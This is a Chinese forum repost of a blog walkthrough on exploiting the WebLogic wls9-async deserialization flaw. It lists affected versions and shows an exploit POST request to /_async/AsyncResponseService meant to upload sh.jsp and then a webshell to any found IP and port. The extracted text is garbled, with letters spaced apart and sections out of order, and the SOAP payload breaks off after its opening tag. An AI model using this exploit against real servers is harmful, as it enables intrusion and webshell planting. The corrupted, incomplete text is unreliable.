搜索

[21134] 2020-07-13_WebLogicwls9-async反序列化漏洞(详细干货)

文档创建者：s7ckTeam
浏览次数：57
最后更新：2025-01-18
2020-07-13_WebLogicwls9-async反序列化漏洞(详细干货) W e b L o g i c   w l s 9 - a s y n c   反 序 列 化 漏 洞 ( 详 细 干 货 ) L e m o n S e c   2 0 2 0 - 0 7 - 1 3 W e b L o g i c   w l s 9 - a s y n c   反 序 列 化 漏 洞 ， 这 是 我 的 复 现 过 程 ， 仅 供 参 考 影 响 范 围         O r a c l e   W e b L o g i c   S e r v e r 1 0 . 3 . 6 . 0 . 0         O r a c l e   W e b L o g i c   S e r v e r 1 2 . 1 . 3 . 0 . 0         O r a c l e   W e b L o g i c   S e r v e r 1 2 . 2 . 1 . 1 . 0         O r a c l e   W e b L o g i c   S e r v e r 1 2 . 2 . 1 . 2 . 0 复 现 过 程 ( 很 简 单 ) E X P 请 求 包 如 下 输 入 你 找 到 网 站 的 i p 和 端 口 这 个 时 候 你 上 传 的 文 件 s h . j s p 内 容 为 4 5 6 就 会 上 传 到 下 面 的 目 录 里 面 h t t p : / / i p : p o r t / b e a _ w l s _ i n t e r n a l / s h . j s p 然 后 我 们 访 问 u r l 这 个 只 是 输 出     我 们 也 可 以 上 传 s h e l l 没 有 专 业 运 营 团 队 ， 纯 个 人 凭 着 空 闲 时 间 的 学 习 ， 通 过 网 络 搜 集 与 学 习 整 理 的 资 料 记 录 并 分 享 。   如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ” P O S T   / _ a s y n c / A s y n c R e s p o n s e S e r v i c e   H T T P / 1 . 1 H o s t :   i p : p o r t U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 5 6 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 6 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C a c h e - C o n t r o l :   m a x - a g e = 0 C o n t e n t - T y p e :   t e x t / x m l C o n t e n t - L e n g t h :   7 1 4   < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / "   x m l n s : w s a = " h t t p : / / w w w . w 3 . o r g / 2 0 0 5 / 0 8 / a d d r e s s i n g "   x m l n s : a s y = " h t t p : / / w w w . b e a . c o m / a s y n c / A s y n c R e s p o n s e S e r v i c e " 版 权 声 明 ： 本 文 为 C S D N 博 主 「 B u l 1 e t 」 的 原 创 文 章 ， 遵 循 C C   4 . 0   B Y - S A 版 权 协 议 ， 转 载 请 附 上 原 文 出 处 链 接 及 本 声 明 。 原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / B u l 1 e t / a r t i c l e / d e t a i l s / 8 9 5 1 4 5 9 4
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理